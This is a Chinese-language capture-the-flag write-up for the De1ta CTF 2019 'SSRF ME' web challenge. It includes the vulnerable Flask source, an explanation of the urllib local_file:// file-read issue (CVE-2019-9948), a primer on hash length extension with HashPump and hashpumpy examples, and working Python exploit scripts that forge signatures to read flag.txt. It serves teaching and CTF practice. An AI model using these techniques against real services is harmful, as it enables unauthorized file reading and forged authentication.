De1ta CTF 2019 Web Writeup

SSRF ME

题目分析

题目源代码:

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):         
            #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80) 
  • 路由分析
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

访问/geneSign -> 调用genSign(action="scan",param)->返回md5(secert_key+param+action="scan"),其中secert_key=os.urandom(16)不可知,参数param可通过GET方法传值。

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

路由/De1ta接收参数action、param、sign,waf()函数对gopherfile文件读取协议进行了过滤,实例化类Task为task,执行task.Exec()。

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):         
            #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
Exec() -> checkSign() -> scan & read in action 则对param进行文件读取并返回文件内容。

我们可以通过/genSign获取到md5(secret_key+param+'scan')要构造出md5(secret_key+param+'scanread),其中urlopen(param)对flag.txt进行读取。

local_file://

CVE-2019-9948 Unnecessary URL scheme exists to allow local_file:// reading file in urllib

这里可以使用local_file:flag.txt进行读取flag。

直接 urlopen(flag.txt) 也可以成功读取到flag.

哈希长度拓展

哈希长度扩展攻击的简介以及HashPump安装使用方法

哈希长度扩展攻击(hash length extension attacks)是指针对某些允许包含额外信息的加密散列函数的攻击手段。该攻击适用于在消息与密钥的长度已知的情形下,所有采取了 H(密钥 ∥ 消息) 此类构造的散列函数。MD5和SHA-1等基于Merkle–Damgård构造的算法均对此类攻击显示出脆弱性。

如果一个应用程序是这样操作的:

  1. 准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名)
  2. 让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文
  3. 服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值

这个时候,该应用程序就易受长度扩展攻击,攻击者可以构造出{secret || data || attacker_controlled_data}的哈希值。

> 几种工具的使用方法:

  1. HashPump
secret = "********"; //8
username = "admin"; //5
password = "admin"; //5
md5(secret.username.password) = 52107b08c0f3342d2153ae1d68e6262c
=> md5(secret + 'admin' + 'admin'...+'3nd')
$ hashpump
Input Signature: 52107b08c0f3342d2153ae1d68e6262c //已知的签名
Input Data: admin  //数据(password)
Input Key Length: 13 //密文固定长度 secret.username
Input Data to Add: 3nd  //拓展字段
b434e6bafe2a80ddb42d515d98a1b6f2 //拓展后获取的签名
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x003nd //拓展后的数据
Payload 中需替换 \x 为 %
admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%003nd 
$ hashpump -s 52107b08c0f3342d2153ae1d68e6262c -d admin -k 13 -a 3nd
b434e6bafe2a80ddb42d515d98a1b6f2
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x003nd
  1. hashpump (python)
import urllib
import hashpumpy

hash = '52107b08c0f3342d2153ae1d68e6262c'
ext = hashpumpy.hashpump(hash, 'admin', '3nd', 13)
print ext[0]
print urllib.quote(ext[1])
'''
b434e6bafe2a80ddb42d515d98a1b6f2
admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%003nd
'''
  1. md5pad

md5pad.py <md5string> <string_to_append> [length of plaintext of md5string]

$ python md5pad.py 52107b08c0f3342d2153ae1d68e6262c 3nd 18
Payload:  '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x003nd'
Payload urlencode: %80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%003nd
md5: b434e6bafe2a80ddb42d515d98a1b6f2

Payload:

import hashpumpy
import requests
import urllib

url = 'http://7ddeea64-4b71-4c8d-85e9-798ada53395c.node1.buuoj.cn'
param = 'local_file:flag.txt'
r = requests.get(url+'/geneSign?param='+param)
sign = r.text
hash_sign = hashpumpy.hashpump(sign, param + 'scan', 'read', 16)
cookies={
    'sign': hash_sign[0],
    'action': urllib.quote(hash_sign[1][len(param):])
}
r = requests.get(url+'/De1ta?param='+param, cookies=cookies)

print r.content

利用genSign

1./geneSign -> md5(secret_key+param="local_file:flag.txtread'+action='scan')
2./De1ta -> param = "local_file:flag.txt" & action='readscan' -> Exec()
import requests

url = 'http://7ddeea64-4b71-4c8d-85e9-798ada53395c.node1.buuoj.cn'
param = 'local_file:flag.txt'
r = requests.get(url+'/geneSign?param='+param+'read')
sign = r.text
cookies={
    'sign': sign,
    'action': 'readscan'
}
r = requests.get(url+'/De1ta?param='+param, cookies=cookies)

print r.content